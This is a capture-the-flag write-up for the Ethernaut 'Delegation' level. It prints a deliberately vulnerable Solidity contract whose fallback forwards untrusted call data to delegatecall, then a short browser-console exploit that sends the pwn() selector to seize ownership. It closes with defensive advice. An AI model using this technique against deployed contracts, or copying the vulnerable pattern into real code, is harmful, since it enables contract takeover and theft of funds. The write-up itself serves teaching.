The Ethernaut CTF Solutions | 06 - Delegation
The Hidden Hazards of Delegate Calls in Smart Contract Design

Search for a command to run...
The Hidden Hazards of Delegate Calls in Smart Contract Design

No comments yet. Be the first to comment.
Find the explanations and solutions to beat every level of Ethernaut challenges. Solidity + Foundry
Ether Against Its Will: Leveraging `selfdestruct()` to Force Transfers
From Flash to Cash: Exploiting Governance in the Selfie Challenge

Timing and Technique: Exploiting The Rewarder for Maximum Gain

A Deep Dive into the Side Entrance Challenge: Mastering the Mechanics of Flash Loans

DeFi Vulnerabilities Exposed: How to Solve the Truster Flash Loan Exploit"

Staking Strategies: An Insightful Journey Through Smart Contract Exploits in DeFi

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, ) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
This level want us to understand the danger of using Delegate calls in a smart contract. Delegate Calls are a powerful tool that allows a contract to delegate a function call to another contract. This is a very useful feature when building upgradable contracts, but it can also be very dangerous if not used correctly.
Basically, a delegate call is a low-level function that allows another contract to execute a function using the storage of the calling contract. This means that the delegate contract can modify the state of the calling contract.
If
contractAexecutesdelegatecalltocontractB,contractB's code is executed withcontractA's storage,msg.senderandmsg.value.
In this Ethernaut level, the Delegation contract (contractA in the previous example) has a fallback function that delegates the call to the Delegate contract (contractB).
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
By using a delegatecall to the pwn function, we will update the owner of the Delegation contract.
NOTE: The storage slot order also plays an important role when using delegate calls. But will we explore this in the next levels. Here, since both contract only have one state variable, we don't need to worry about it.
(In the browser's console)
pwn() function:const pwnSelector = web3.utils.keccak256("pwn()").slice(0, 10);
Delegation contract's fallback function with the pwn() function selector:/**
* @param {string} from - Your wallet address.
* @param {string} to - Delegation instance address.
* @param {string} data - The selector of the pwn() function: "0xdd365b8b".
*/
await web3.eth.sendTransaction({
from: player,
to: instance,
value: "0",
data: pwnSelector,
});
owner() function to check if the hack was successful:await contract.owner();
🎉 Level completed! 🎉
Use extreme caution when using delegate calls in your smart contracts.
Make sure to understand the implications of using delegate calls and the potential security risks.
Delegate calls should not accept untrusted inputs.
Parity Wallet Hack: https://blog.openzeppelin.com/on-the-parity-wallet-multisig-hack-405a8c12e8f7/
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/